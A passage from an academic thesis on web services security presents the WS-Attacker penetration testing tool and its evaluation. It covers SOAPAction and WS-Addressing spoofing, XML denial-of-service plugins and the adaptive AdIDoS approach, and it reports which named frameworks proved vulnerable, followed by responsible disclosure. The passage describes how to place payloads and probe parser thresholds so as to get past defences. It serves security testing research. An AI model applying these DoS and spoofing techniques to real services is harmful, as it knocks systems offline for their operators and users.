We tested the feasibility of WS-Attacker using four widely deployed web ser-
vices frameworks: Apache Axis2 v1.6.1 [65], JBossWS Native 6.0, JBossWS
CXF 7.0 [187], and .NET web services 3.0 [142]. We analyzed their resistance
to the described SOAPAction and WS-Addressing Spoofing attacks. Thereby,
each framework was equipped with two web services endpoints with default
configurations.
The results of our analysis are provided in Table 2.2. It shows that all tested

frameworks are vulnerable to SOAPAction Spoofing. Apache Axis2 and .NET
WS got the maximum rating, as the web service always executes the operation
defined in the SOAPAction header (3/3). JBossWS native and JBossWS CXF
do it vice versa: they execute the operation defined in the SOAP body element,
ignoring the SOAPAction header (2/3). We decided to consider this behavior
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SOAPAction Spoofing WS-Addressing Spoofing
Success? Rating Success? Rating

Apache Axis2 True 3/3 True 2/3
JBossWS native True 2/3 False 0/3
JBoss CXF True 2/3 False 0/3
.NET WS True 3/3 False 0/3

Table 2.2: WS-Attacker revealed vulnerabilities in all tested web services frame-
works. Apache Axis2 was vulnerable to both presented attacks.

Figure 2.8: Exemplary result window after penetration test execution on the
Apache Axis2 framework.

also as a vulnerability because the web service can be compromised if it is placed
behind an HTTP firewall validating SOAPAction headers.

For WS-Addressing Spoofing, the only framework vulnerable to this attack
in this setup is Apache Axis2. The rating for this attack is analog to the WS-
Addressing methods described in Section 2.3.1.3: one point is given if the web
service accepts any host for the <wsa:replyTo> method. Two points if the
<wsa:faultTo> method works because generating SOAP faults, for example, by
sending an empty SOAP body, is much easier. This is what Axis2 does. Three
points if the <wsa:To> method is accepted, which means that any response,
valid or invalid, is sent to the specified host.

An exemplary attack result presenting the vulnerable Apache Axis2 frame-
work is depicted in Figure 2.8. A later evaluation showed that this framework
is vulnerable to SOAPAction Spoofing even if XML Signature is applied. Thus,
the attacker could execute an arbitrary function on a secured server being in
possession of a single validly signed document. The only prerequisite is the
equal number of parameters in the original and the malicious operation.
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2.3.5 Summary

In this section, we presented the first fully-automatic penetration test tool for
web services called WS-Attacker. The development of WS-Attacker started
with the author’s bachelor thesis, was extended in his master thesis and refined
as well as heavily extended during the work on this thesis. We showed our
design decisions, which enabled to construct a general framework extensible
with web service specific attack plugins. An evaluation of the implemented
attack plugins – for SOAPAction and WS-Addressing Spoofing – was executed
using four widely deployed web service frameworks. The results proved the
feasibility of our approach.
The following sections cover a large number of other web service specific at-

tacks, which bring additional design and implementation challenges. We present
DoS and attacks on XML Encryption.

2.4 A New Approach towards Denial-of-Service
Penetration Testing on Web Services

DoS attacks target the availability of a system resource. Companies, such as
VISA [20], PayPal [178] and various government agencies [186] were affected
by them in recent years. There are mainly two different goals of DoS attacks:
(1.) the targeted system is slowed down. (2.) the targeted system is temporarily
not available, which is even worse. The effectiveness of a DoS attack can be
distinguished by the number of resources necessary to execute the attack. An
attack that only requires less resources, for example, by sending only small
messages to a server, is more efficient than a large-scale DDoS attack [240]. A
good example for an efficient DoS attack is HashDoS: the attack targets a weak
hash-mapping algorithm implementation in a programming language [15, 30,
236].
Today, there are many variants of DoS attack techniques. The parsing process

of an XML document is naturally very complex and it thus has lots of potential
for conducting DoS attacks. Even small messages can lead to a significant
amount of resources necessary to parse the document. In web services, DoS
attacks can target the XML parser (e.g., using Entities), transformations (e.g.,
XSLT) or cryptographic operations. In Table 2.3, we list common web service
specific DoS attacks.

Coercive Parsing SOAP Array attack
Oversized XML attack HashDoS
XML Entity Expansion DoS XML External Entity DoS
Oversized Cryptography Recursive Cryptography
XML Signature:
Transformation DoS

XML Signature:
Key Retrieval DoS

Table 2.3: Web service specific DoS attacks.

Web services are an attractive target for attackers aiming at the availability,
since they are deployed in critical infrastructures [80, 100] and major indus-
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tries [32]. Thus, it is of crucial importance for web service developers and
providers to possess an automated penetration testing tool that automatically
evaluates whether a web service is vulnerable to these attacks or not. This moti-
vated us to develop a new DoS attack concept for the WS-Attacker framework.
Contribution. In this section, we first present general requirements for the
evaluation of DoS attacks. We assume that the penetration tester does not
have any possibility to run a specific program on the attacked system. He can
only send his payloads to the server and evaluate the response times. Based
on this assumption, we developed an approach supporting such evaluations.
Basically, our plugin works in two phases: in the first phase, our plugin sends
untampered payloads to the server. In the second phase, tampered requests with
attack payloads are sent. In a parallel thread, the plugin simulates a third-party
client that continuously sends requests to the tested web service during the first
and the second phase. The timings of all requests are logged. Results of these
measurements are automatically evaluated in order to compute and depict the
resulting attack impact.
We implement the approach described above and several web service spe-

cific DoS attacks as a WS-Attacker plugin. We evaluate our plugin using five
major web service frameworks: Apache Axis2 [65], Apache CXF [5], IBM Data-
Power [81], Metro [220], and .NET [139]. Our results show that the DoS pene-
tration testing tool works as expected, giving a clear indication whether a tested
web service is vulnerable – without false positives. For example, our tests re-
veal that Apache Axis2, Apache CXF, and the Metro are vulnerable to the
implemented attacks.
This section represents the results based on our paper “A New Approach

towards DoS Penetration Testing on Web Services” [58].

2.4.1 XML-based Denial-of-Service Attacks

Denial-of-Service (DoS) attacks exist in different variations due to the complex
architecture of modern web services. Web services consist of many modules and
each can be vulnerable to a specific attack variant. We only consider DoS attacks
on the web service processing pipeline as described in Section 2.2.1. Other
DoS attacks, such as SYN-Flooding [237], are out of scope. In the following,
we provide a brief description of common XML and web service specific DoS
attacks:

§ Coercive Parsing attack: The attacker sends an XML document which
contains a deeply nested XML structure. Once a DOM-based parser pro-
cesses the XML document, an out-of-memory exception or a high CPU
load can occur [91].

§ Attribute Count: The Attribute Count targets the server by sending a
nXML message with a high attribute count [152].

§ XML Element Count: The XML Element Count targets the server by
creating an XML message with a huge number of non-nested elements
[91].
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§ Oversized XML attack: In an Oversized XML attack an attacker in-
jects overlong XML nodes in the XML document. Overlong nodes can
be huge element names, attribute names, attribute values, or namespace
definitions.

§ Hash Collision attack – HashDoS: A hash table is a data structure
which maps arbitrary keys to values. Within XML documents, hash tables
are, for example, used to store attributes and their corresponding values or
XML namespace definitions of an element. The basic hash table principle
is shown in Figure 2.9. The value of a certain key is mapped to a storage

Key Hash Function Index Table

Alice

Bob

Charlie

Index
01
02
03
04
05
06
07
08

Key Value

Alice 00001234

Bob 00006789
Charlie 24681111

Buckets

Figure 2.9: Hash table principle.
bucket through a hash function that takes the key as input. Ideally, each
key should result in a unique bucket. In some cases, different keys result
in the same bucket assignments, causing a collision. A collision leads
to resource-intensive computations within the bucket. If a weak hash
function is used, an attacker can intentionally create hash collisions that
will lead to a DoS scenario [236].

§ XML External Entity DoS: The XML External Entity DoS causes a
DoS scenario by forcing the server to recursively resolve Internal General
Entities defined within a DTD. See Section 2.1.2 for more details.

§ XML Entity Expansion DoS: The XML Entity Expansion DoS causes
a DoS scenario by forcing the server to resolve a large file defined in an
External General Entity. See Section 2.1.2 for more details.

§ SOAP Array attack: The SOAP Array attack forces the attacked web
service to declare a very large SOAP array. This can exhaust the memory
of the attacked web service [144].

A white-box evaluation of the attacks’ impact on the memory and CPU usage
of the web services servers is given by Oliveira et al. [160].

2.4.2 Automatic Testing of Denial-of-Service Attacks for Web
Services

This section deals with the general requirements and the resulting design con-
cept of the newly developed DoS approach for WS-Attacker. We delineate the
workflow during the attack execution, its implementation, and the GUI depict-
ing the results.
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2.4.2.1 Requirements

In order to generate reliable results, various requirements must be fulfilled by
our DoS penetration test tool.
Measuring Attack Success Using a Black-box Approach. We assume
that we do not have physical or virtual access to the targeted system and treat
it as a black-box. In this way, the attack success can only be determined by
observing the web service’s response time. The response time is defined as
follows:

TRT “
ˇ

ˇ

ˇ
TFirstByteRequest

´ TLastByteResponse

ˇ

ˇ

ˇ

Once the first byte of the request is transmitted to the investigated web
service, the measurement of the response time starts. It ends with receiving the
last byte of the web service’s response. This approach can be used even in black-
box scenarios where no physical or virtual access is given to the web service.
Therefore, it minimizes the requirements to use WS-Attacker and maximizes
the application field.
Automated Generating and Sending of Attack Messages. For start-
ing the automated penetration test, the penetration tester chooses the target
and selects the DoS attack he intends to run against the target. Attack-specific
parameters must be configured if they are required for the functionality of the at-
tack. Henceforth, the entire process must be executed automatically without the
interaction of the penetration tester. This contains the automated generating
and sending of SOAP messages with attack payloads based on the parameters
supplied by the tester. These requests are defined as tampered requests in the
following. Regular requests are defined as untampered requests.
Fitness for Various Load Patterns. Depending on the goal of the pene-
tration tester, the attack is run under different load patterns. To allow this
flexibility, fitness for the load patterns is required. During attack initialization,
the penetration test is able to set:

§ The number of threads which send tampered requests in parallel.

§ The number of tampered requests per thread.

§ The delay in milliseconds between sending each tampered request.

§ The attack-specific parameters (if applicable), for example, the length of
payload.

Please note that WS-Attacker is designed to run on a single machine. Thus,
the following restrictions exist:

§ All requests are sent from the same IP address. A DDoS attack simulation
is impossible.

§ The number of parallel requests is limited by the bandwidth of the system
running WS-Attacker.
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Nevertheless, an efficient DoS attack can be started with very few requests.
Fitness for Different Test Scenarios. In dependence of the penetration
tester’s goal, the following two scenarios must be considered:

(1.) WS-Attacker presents to the penetration tester whether the tested web
service is vulnerable to the selected DoS attack. Vulnerable means in this
context that the difference between the response time RTt of a tampered
request and the response time RTr of an untampered regular request is
above a defined threshold.

(2.) WS-Attacker evaluates the attack effect on third-party users. Once a web
service is determined to be vulnerable to a specific attack, the prerequisite
for a successful DoS attack is given. For causing real impact to third-party
users, it is important to measure the response time for regular users. Only
if their response time is affected, a valid DoS attack is performed. By this
means, WS-Attacker should indicate whether:

§ third-party users are affected during the attack.

§ third-party users are affected after the attack has stopped.

In the affirmative case, WS-Attacker should also show how long the third-
party user is affected.

Exclusion of Subattacks. Some attacks are a compilation of different sub-
attacks. For example, the HashDoS attack can include the Attribute Count
attack because both attack concepts rely on creating numerous attributes in
the XML document. A penetration tester wants to avoid this kind of confusion
and only test each particular subattack. The WS-Attacker tool must therefore
be able to distinguish them.
Elimination of Errors. Different errors can occur during the execution of
DoS attacks. We identified two main error sources:

§ Errors due to high server load: In accordance with the load scenario (cf.
Section 2.4.2.1), the attacks can be executed by means of numerous parallel
requests. This high number of requests can lead to increased response
time or halt the web service server, even if no attack payload is used.
An increased response time caused by a high request number must be
eliminated.

§ Errors due to increased message sizes: The size of the message usually
increases with the integration of the attack payload. Based on our defini-
tion of the response time, this augmented message size leads to a higher
response time. This error source must be eliminated.

Although these error sources can be addressed by WS-Attacker’s DoS design,
the following two sources are unresolvable:

§ If significant third-party traffic appears during the execution of the DoS
attack, the network response time increases.
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§ If the web service is under high load, for example, by third-party users,
the network response time also increases.

These errors are out of scope and we assume that they are not occurring.

2.4.2.2 DoS Attack Success Evaluation

◦

Send Pattern with
Untampered Requests

Phase 1

Wait X Seconds
Send Pattern with

Tampered Requests

Phase 2

Wait S Seconds

Simulate 3rd
Party Requests

Phase 3

Generate
Report

•
Attack is Running

Att
ack

Fin
ishe

d

Figure 2.10: Architecture of the WS-Attacker DoS testing approach.

Based on the given requirements, we developed the WS-Attacker DoS success
evaluation and depict the basic idea in Figure 2.10.
In Phase 1, a user-defined load pattern is sent to the target web service with

untampered requests that are padded to the size of tampered requests.3 After a
user-defined waiting period, the same load pattern is sent to the target again, but
this time with tampered requests. In order to conduct a vulnerability test, WS-
Attacker calculates the ratio of the median response time of tampered requests
RTt to untampered regular requests RTr. This method will guarantee that any
ratio significantly higher or lower than 1 has been caused by the payload of the
tampered requests. All other major error sources such as increase in the response
time due to different message sizes or different network loads are eliminated by
the design.
In parallel to these two processes, Phase 3 continuously sends test requests

to the target web service in constant user-defined intervals. These requests
simulate third-party users that visit the targeted web service while the attack is
running. If the response time of third-party users increases, we have a successful
DoS attack in contrast to a vulnerability test only.
To formalize the definition of attack success the following two attack success

metrics are defined:
Test for Vulnerability. Attack success is measured by means of the metric
Attack Roundtrip Time Ratio (ARTR). The ARTR is defined as follows:

§ RTi,t: median of the response time of the last i tampered requests.

§ RT,r: median of the response time of the last i untampered (regular)
requests.

3The expansion of the message size of the untampered requests is not problematic. Even
if the untampered request caused a DoS attack, it would show up in the attack results,
effectively avoiding false positives.
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§ The ARTR is then defined as:

ARTR “ RTi,t { RTi,r

In case that less than i (un)tampered requests are left, the ratio is calculated
by the remaining requests. In our implementation, we choose i “ 10 based on
our evaluation experiences.

The attack success is defined as shown in Table 2.4. We again choose the values
3 and 6 based on experimental test results.

Metric value: Rating:
ARTR ă 3 payload ineffective
ARTR ě 3 and
ARTR ă 6

payload effective

ARTR ě 6 payload highly effective

Table 2.4: Metric Attack Roundtrip Time Ratio (ARTR).

The threshold values were chosen based on pretests on vulnerable and non-
vulnerable web service.
Test for Attack Effect on Third-Party Users. Attack success is measured
by means of the metric third-party-RT -after-attack, which is defined as the me-
dian response time of all simulated third-party requests after starting to send
the first tampered request. The attack success is defined as shown in Table 2.5.

Metric value: Rating:
third-party-RT -after-attack ă 2sec no or small effect on third-party users
third-party-RT -after-attack ě 2sec
and
third-party-RT -after-attack ă 5sec

third-party users are affected

third-party-RT -after-attack ě 5sec third-party users are heavily affected

Table 2.5: Metric third-party-RT -after-attack.

Our threshold for an acceptable response time is 2 seconds. This value is
chosen as an acceptable response time without annoying a user. Response times
above this value can thus be seen as a success.

2.4.2.3 Implementation

The web service specific DoS penetration testing tool is implemented as a plugin
for the WS-Attacker (cf. Section 2.3). It has the required functionality to
process WSDL files and is able to work with SOAP messages. New attacks can
be implemented and added by using the Java plugin architecture.
The DoS plugin is divided into two main components, the DoS extension and

the DoS attack classes. The general relation between these two components is
shown in Figure 2.11.
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DoS Attack Class
(Implements AbstractDosPlugin)

Attack Parameters

Create Tampered Requests

Create Untampered Requests

Create Request Padding

Call MVC DoS Extension

Set WS-Attacker Results

Initialize

Execute DoS Attacks

Create Attack Results

DoS Extension

Figure 2.11: Internal workflow of WS-Attacker’s DoS plugin.

DoS Attack Class. This part of the tool contains the details of each attack.
Its task is to create the tampered as well as the untampered requests, to pad
them to equal length, and to call the DoS extension.
DoS Extension. The DoS extension implements the functionality that is com-
monly required by all implemented DoS attacks. Once started, the DoS attack
is executed according to the workflow diagram defined in Figure 2.10. The
attack-dependent configuration is set in the DoS attack class.

2.4.2.4 Attack Result Presentation

The results of an attack are presented as a graph and numerically, using the two
attack success metrics defined before. In the following, the results of a Coercive
Parsing attack on a vulnerable test target are shown.
The test was conducted using slightly modified default attack parameters.

During attack setup, the number of parallel threads was increased to three
and the number of requests per thread was increased to ten. All other attack
parameters were left at their default values (in such a configuration, the number
of nested elements is set to 75,000).
The results of the attack success metric are depicted in Table 2.6.

Metric: Result: Rating:
ARTR 1052 payload highly effective
third-party-RT -after-attack 59 sec third-party users are heavily affected

Table 2.6: Attack success metric of a completed DoS test.

Both metrics indicate a strong attack impact. The graphical presentation of
the successful test is shown in Figure 2.12. The graph is automatically created
by the test tool after an attack is finished.
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Simulated 3rd party requests timeout
after attack. This indicates a 

successful DoS attack.

Response time of tampered requests 
is higher. The Web service is vulnerable.

Figure 2.12: Automatically generated results graph of a successful test on an
vulnerable system.

The red and the green bars indicate the number of requests sent per interval
(1 second). The connected data points illustrate the mean of the response time
of all requests sent in the given interval. Figure 2.12 shows that RTt (response
time by tampered requests depicted in red) is significantly higher than RTr
(response time by regular requests depicted in green), proving that the target is
vulnerable and verifying the results of ARTR. Furthermore, Figure 2.12 shows an
increase of the response time of the simulated third-party requests RTthird after
the attack (blue line). The RTthird increased from around 90 ms on average to
over 59 sec after the attack started. In total, the server was not able to respond
to requests for a period of over 20 sec under the defined payload, resulting in a
successful DoS attack.

2.4.3 Evaluation

The implemented DoS attacks were tested using four common web service frame-
works: (1.) Apache Axis2 [65], (2.) Apache CXF [5], (3.) ASP.NET [139] and
(4.) Metro [220]. Each of these framework was installed on the same Windows
7 machine (Core i5, 4 GB RAM) using Java7 (Oracle 1.7.0_03). Additionally,
we attacked the IBM DataPower XI50 [81], an XML Security Gateway, which
is delivered with dedicated hardware. The attacked servers provided a simple
echo service or were running one of their distributed sample services, which
consumed no notable CPU/RAM. For the following evaluation, we left out the
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SOAP Array attack, as the tested frameworks do not support this kind of data
structure.

Attack Name Apache
Axis2

Apache
CXF

Metro ASP.NET IBM
Data-
Power

Coercive Parsing Vuln. Vuln. X X X
DJBX31A HashDoS Vuln. Vuln. Vuln. X X
DJBX33A HashDoS X X X X X
DJBX33X HashDoS X X X X X
XML Attribute Count Vuln. Vuln. Vuln. X X
XML Element Count X Vuln. X X X
XML Entity Expansion X X X X X
XML External Entity X X X X X
XML Overlong Names X X X X X

Table 2.7: DoS vulnerability scan results. “X” “ secure; “Vuln.” “ vulnerable.

The results of the vulnerability scan are shown in Table 2.7. Green values in
Table 2.8 denote a non-successful attack, whereas red ones indicate a vulnera-
bility. The Apache Axis2 Java and Apache CXF frameworks were vulnerable to
the Coercive Parsing attack, DJBX31A HashDoS attack4 and XML Attribute
Count attack. Additionally, Apache CXF was vulnerable to the XML Element
Count attack. No vulnerabilities could be detected on the ASP.NET and the
IBM DataPower XI50. For detecting these vulnerabilities, we tried to add the
payload at different positions within the SOAP message, for example, the XML
Element Count attack was only successful when placing the elements as child
elements of the SOAP header (and not within the SOAP body).

Attack name Apache Axis2 Apache CXF Metro
Coercive Parsing ARTR 1952 1201 1.14
with 26,000 elements RT [ms] 59000 40666 23
DJBX31A Collision ARTR 10.48 3.47 5.09
with 4,500 attributes RT [ms] 366 248 215
Attribute Count ARTR 5.23 4.44 6.76
with 14,000 attributes RT [ms] 145 155 130
Element Count ARTR 1.33 7.69 1.07
with 45,000 elements RT [ms] 55 236 21

Table 2.8: Attack impact presented using the mean of Attack Roundtrip Time
Ratio (ARTR) and response time (RT ) values.

To clarify the impact of each vulnerability, Table 2.8 shows the ARTR of
each attack. Thereby, each attack was performed with a 180 KB message size,

4The reason for this is the used Java version, which is vulnerable to the DJBX31A HashDoS
attack. To attack a server running a newer Java version, a different collision attack could
be applied [15].
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whereat the attack impact was tried to be maximized, for example, by using
as many elements/attributes as possible (cf. Table 2.8). Aside, we added the
mean of the time which was needed to process a tampered request. The biggest
impact on Apache Axis2 Java and Apache CXF was caused by the Coercive
Parsing Attack. On the other hand, the application of this attack on Metro
caused no DoS. DJBX31A Collision and Attribute Count attacks are performed
against Metro similarly.
Note that these results were conducted only with non-aggressive default set-

tings – the message size could be increased drastically to get a higher impact.
To turn this into a real attack affecting third-party users, the attacker has to
increase the number of used threads and messages per second. This would also
augment the ARTR and processing time values.
Responsible Disclosure. We informed the developers about these findings
in February 2013. The Apache CXF developers applied a fix directly in the
underlying Woodstox parser (version 4.2.0) [59]. They added the ability to
restrict certain size limits of parsed XML data. The other frameworks are
currently being fixed.

2.4.4 Summary

In this section, we presented a custom web service specific DoS penetration test
tool based on WS-Attacker. The tool is built upon a black-box test approach.
For the first time, a penetration tester needs no access to the tested target in
order to evaluate attack success. The general design of the attack execution
routine was illustrated and the design decisions were explained. Ten web ser-
vice specific DoS attacks were implemented and tested on common web service
frameworks. The results proved that the – at the time of testing – latest versions
of Apache Axis2, Apache CXF and Metro are vulnerable to commonly known
DoS attacks.
The downside of this approach is that, although the attacks are executed

automatically, this approach behaves unintelligent: it does not adapt the pay-
load in accordance with the received responses. In the next section, we cover
this downside and present Adaptive and Intelligent Denial-of-Service (AdIDoS)
attacks.

2.5 AdIDoS – Adaptive and Intelligent
Fully-Automatic Detection of Denial-of-Service
Weaknesses in Web Services

Our previous work revealed many different types of XML-based DoS techniques
(cf. previous Section and our paper [58]). Unfortunately, the knowledge of these
attacks is only the tip of the iceberg. The real challenge is to validate whether
the investigated web service and the underlying XML parser is vulnerable to
them. This is a complicated task because there are many varieties of each single
attack. For example, placing the DoS payload at one specific position within the
XML document may affect the parser and result in a successful DoS attack, but
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using another position, for example, a sibling element, can lead to an unaffected
parser. Since there are many elements in an XML document where the payload
can be placed, in addition to many other aspects to consider, the detection of
successful attack varieties is not trivial:

(1.) XML parsers can be configured to restrict the elements to be parsed to a
specific number. Consequently, attacks using more payload elements than
this specific threshold will result in unsuccessful attacks. To detect such
a threshold, the DoS attacks must be executed first with a small payload
and must then adaptively be adjusted in accordance with the measured
results.

(2.) The XML document structure can be validated using XML Schema [211].
Therefore, the attack payload cannot be placed at arbitrary positions in
these scenarios. We use an approach that automatically reads the used
XML Schema and places the payload at so-called extension points in such
a way that the XML document containing the DoS payload is valid against
the schema.

Contribution. In our work, we concentrate on the automatic detection of
XML-based DoS and the automatic bypassing of countermeasures (XML Schema
validation, thresholds, . . . ). Our contributions are as follows:

§ We develop Adaptive and Intelligent Denial-of-Service (AdIDoS),
the first fully-automatic XML-based DoS tool that detects DoS vulnera-
bilities in an intelligent and adaptive approach. We therefor extend our
approach presented in the previous section.

§ Our approach is generic and can be applied to XML scenarios beyond
web service or even to other DoS attacks beyond XML-based DoS.5

§ We evaluate seven web service implementations and give a detailed
overview of their robustness against XML-based DoS attacks.

The results of this section are based on our paper “AdIDoS – Adaptive and
Intelligent Fully-Automatic Detection of Denial-of-Service Weaknesses in Web
Services” [4].

2.5.1 Denial-of-Service Complexity

The complexity of DoS attacks lies in two aspects:

(1.) We assume to have no physical access to the system under inspection. We
can thus only perform black-box tests.

(2.) Our DoS attacks abuse weaknesses in XML parsers. Therefore, we need to
make use of the XML document structure. DoS attacks apart from XML,
such as attacks on the TCP/IP stack [237], are not considered.

5AdIDoS is split into two parts: (1.) a generic library to apply DoS attacks on XML and
(2.) a plugin that is used to transmit SOAP messages.
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2.5.1.1 Black-Box Tests

A black-box penetration test is a methodology for testing a computer system
without knowledge of its internals. Therefore, we do not have the possibility
to measure the CPU load or memory consumption of the tested service. We
only rely on the ARTR (cf. Section 2.4.2.2): we measure and evaluate the time
that the web service needs to process the request and compute the response,
including the network transfer time.

2.5.1.2 XML Document Structure

XML-based DoS abuses weaknesses in the underlying XML parser. Each XML
parser has an individual behavior and can be adjusted to fulfill the web ser-
vice’s requirements. This increases the complexity of applying a DoS attack
dramatically. Some XML parsers:

(1.) Only process unexpected elements if they are placed at a specific position
in the XML document (they validate the XML Schema).

(2.) Only allow a specific number of elements or attributes in an XML docu-
ment (thresholds).

Additionally, the service itself may restrict the amount of requests by one client
within a specific time period. This is a restriction that we do not try to bypass,
for example, by performing DDoS.
XML Schema. If an XML Schema validation is executed by the XML parser,
placing the payload of an XML-based DoS attack at a specific position within
the document can be potentially detected. In this case, the attack will not
succeed.
As an example, we take the Coercive Parsing attack and place the <x> el-

ements as a child of the <soap:Envelope> element. This breaks the SOAP
schema. However, placing the same <x> elements as a child of the <soap:Header>
element is conformed to the SOAP schema and the message will be accepted:
the attack can potentially be applied.
In addition to the behavior described above, some parsers skip specific docu-

ment parts. For example, a web service that does not use any SOAP extensions
could skip to parse the whole <soap:Header> element and continue with the
<soap:Body>. This means that placing the XML-based DoS payload in the
header does not result in a successful attack, while placing it in the body could
succeed.
Thresholds. Some XML parsers implement thresholds. They stop to pro-
cess incoming messages if they parse more than a specific number of elements,
attributes, or bytes.
Suppose an XML parser that only accepts messages up to 100 elements. Ap-

plying a Coercive Parsing attack with 5000 nested elements will result in an
unsuccessful attack. Nevertheless, the implementation could be vulnerable if
the attack is applied with, for example, 80 nested elements. To make the attack
detection more accurate, it is important to start XML-based DoS attacks with

49



2 Web Services Security

a small payload, and increase it gradually. In this way, possible thresholds can
be detected.

2.5.2 Design

In this section, we describe several principles and design decisions we followed
in order to create our AdIDoS plugin for WS-Attacker.

2.5.2.1 Automatic Denial-of-Service Detection Workflow

AdIDoS systematically tests the web service for DoS weaknesses. The detection
workflow is fully automatic and AdIDoS uses the following algorithm to proceed
(cf. Figure 2.13):

Choose Payload
Position

Choose
Aggressiveness

Send Untampered
Attack

Send Tampered
Attack

◦

Choose DoS
Attack from Pool

◦ • •Was not Successful

Has further Positions

Was Successful

No further Positions

Has further DoS Attack within the Pool

Figure 2.13: AdIDoS simplified workflow of systematic DoS detection.

(1.) AdIDoS chooses one attack from its pool of implemented DoS attacks.6

(2.) It specifies the position where to set the payload. Therefore, XML Schema
is used to determine all matching positions.

(3.) The aggressiveness of the attack is specified. Aggressiveness indicates how
much XML payload is utilized in the attack. The more XML payload the
attack uses, the more aggressive it is. For example, a Coercive Parsing at-
tack using the payload <x><x></x></x> is more aggressive than an attack
with <x></x>. Each attack variant starts with a very low aggressiveness
and adjusts it depending on the ARTR.

(4.) The algorithm generates an untampered request and executes the attack
against the web service. This information is used as a base line for the
later decision whether an attack is successful or not.

(5.) It generates a tampered request and executes the attack against the target
web service.

(6.) AdIDoS analyzes the roundtrip time of the untampered and tampered
requests and decides whether the attack is successful or not by computing
the ARTR (cf. Section 2.5.3.3 for details):

6Its current implementation based on [58] includes Coercive Parsing, Attribute Count, XML
Element Count, XML External Entity DoS, XML Entity Expansion DoS, Oversized XML
attack, and 4 variants of HashDoS attacks – 10 attack variants in total.

50



2.5 Adaptive and Intelligent Fully-Automatic Detection of Denial-of-Service

§ Successful: the attack is marked as successful for this payload posi-
tion and the next position is specified, followed by Step 3.

§ Not successful: a more aggressive attack is set, followed by Step 4.

Step (6.) is executed as long as further parameter sets are available for
the DoS attack. Hereafter, the next DoS attack is chosen and AdIDoS
continues with Step 1.

2.5.2.2 Automatic Threshold Detection

The most effective countermeasure against XML-based attacks is to limit the
number of elements/attributes which can occur in an XML document, or the
size of the document. In our approach, we automatically detect and narrow
down thresholds used by a web service. For this purpose, a variation of the
binary search algorithm is applied. The steps are as follows:

(1.) The threshold detection is initialized with the weakest and the strongest
attack vector. The weakest vector (our minimum) is the least aggressive
attack that was executed successfully. The strongest vector (our maxi-
mum) is the attack vector that was not successful.

(2.) The strength of each newly created attack vector is generated as an average
of the weakest and the strongest aggressive attack vector.

(3.) The relevant information in this phase is the execution state of the attack:

§ Successful: the current attack vector strength is set as a new mini-
mum.

§ Not successful: the current attack vector strength is set as a new
maximum.

Depending on the desired precision, these steps can be repeated several times.
In our measurements, five iterations provided values giving enough information
about the analyzed web service. The detected threshold is then stored in mem-
ory and can be considered for further web service investigation by the developer.
After the process of narrowing down the threshold, AdIDoS returns to its

normal analysis, but henceforth considers the detected threshold. In addition,
the web service is tested for DoS weaknesses near the actual threshold.

2.5.3 Implementation

We implemented the concepts described in the previous section as aWS-Attacker
plugin AdIDoS. In the following, we give a detailed view on some related imple-
mentation details.

2.5.3.1 AdIDoS for WS-Attacker

AdIDoS supports numerous XML-based DoS attacks. In the following, a short
description of all supported DoS attacks is given: each DoS attack executed by
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AdIDoS is a composition of multiple parameters. There are two types of attack
parameters:

§ Independent attack parameters are generic configuration parameters
which can be used for all DoS attacks. Examples for independent pa-
rameters are the number of used threads to send requests, or the delay
between sending them.

§ Dependent attack parameters are specific for the executed DoS attack.
For example, in Coercive Parsing, AdIDoS chooses the number of nested
elements.

In addition, there are multiple possibilities for placing the attack payload (e.g.,
in the <soap:Header>, in the <soap:Body>, . . . ). All positions are marked
in the XML message by analyzing its XML Schema. We used XML Schema
parsing to automatically detect so-called XML extension points. This term
refers to areas in the XML document where additional elements or attributes
can be placed according to the XML Schema definition. They are identified
by <xs:any> and <xs:anyAttribute>. These extension points can be used to
place the payload without invalidating the schema. If the web service uses XML
Schema validation, our generated attack messages do not harm it. Every DoS
attack specifies where its payload can be placed:

§ ELEMENT: the payload of an attack can be placed as a new element into
the document. It is supported by Coercive Parsing, XML Element Count,
XML External Entity DoS, XML Entity Expansion DoS and Oversized
XML attack.

§ ATTRIBUTE: the payload can be placed within an existing element. It is
supported by Attribute Count and HashDoS.

2.5.3.2 Attack Configuration and Execution

By executing a concrete DoS attack, AdIDoS first uses the schema analyzer
provided by WS-Attacker to identify all available extension points. Hereafter,
AdIDoS provides a pool of various XML-based DoS attacks, which can easily
be configured through the configuration dialog, as shown on the left side in
Figure 2.14. This is extremely useful if the tester just wants to execute a subset
of the supported attacks to save time. Every attack has its own set of supported
parameters. Figure 2.14 shows the attack parameters for the Coercive Parsing
attack on the right. It uses two parameters:

§ Number of tags: The value for this parameter is set as a range. The step
size can be additionally configured.

§ Tag name: this parameter can be specified as a list of values.

The range option allows to perform attacks with various levels of aggressiveness.
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Figure 2.14: Configuration of DoS attacks
.

2.5.3.3 Attack Success and Efficiency Decision

The success of an attack is calculated as follows: We use the median roundtrip
time of untampered requests in comparison to the median roundtrip time of
tampered requests. To compute the median, we use the last ten (untampered
or tampered) requests sent to the web service. If the median roundtrip time of
the tampered requests is three times higher7 than the median roundtrip time of
the untampered requests, the attack is marked as successful. This allows one to
reliably recognize attacks as successful and minimizes the false positives.8 The
attack success is determined as follows:

§ ratio time <3 : the attack was not successful.

§ ratio time >= 3 : the attack was successful.

Besides the information that an attack is successful, AdIDoS also provides
an estimation of the attack efficiency. This estimation is again based on the
median roundtrip time of the two attack runs:

§ ratio time between >= 3 and <6 : the attack was efficient.

§ ratio time >= 6 : the attack was highly efficient.

To avoid false positives, the AdIDoS algorithm uses an approach with a single
success confirmation. If the algorithm detects measurable differences between
tampered and untampered roundtrip times, the server first gets some time to
recover. This prevents that a DoS attack is marked as successful even though it
is not, just because it is executed right after a successful attack. a new attack
vector is sent to the server and its response time is compared to the response
times of untampered requests.

7This value was chosen empirically based on our tests in local networks.
8In the case of false positives, an attack is marked as successful even though it is not.
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2.5.3.4 Extended ARTR Approach

In Section 2.4.2.2, we present an algorithm for attack success measurements
that uses a black-box and ARTR metric. The ARTR approach is based on
measuring response times. The response time measurement always starts with
the first byte that is sent, and stops with the last byte that is received. With this
algorithm, the comparison of two or more requests requires that the requests
must have the same size. Otherwise the transmission of the data would affect
the measurement.
AdIDoS also pursues a black-box the ARTRmetric. However, it uses a slightly

different measurement algorithm (cf. Figure 2.15). The response time measure-
ment starts with the last byte sent, and stops with the first byte received. The
main advantage of this improvement is that time measurement variations occur
during transfer, do not affect the measurement as significant as before. Addi-
tionally, we only measure the time that the service needs to execute the request.
Finally, it becomes less important to send requests of the same size.

Client Starts
Sending Request

Server Begins
Receiving Request

Client Finishes
Sending Request

Server Finishes
Receiving Request

Server Starts
Sending Response

Client Starts
Receiving Response

Server Finishes
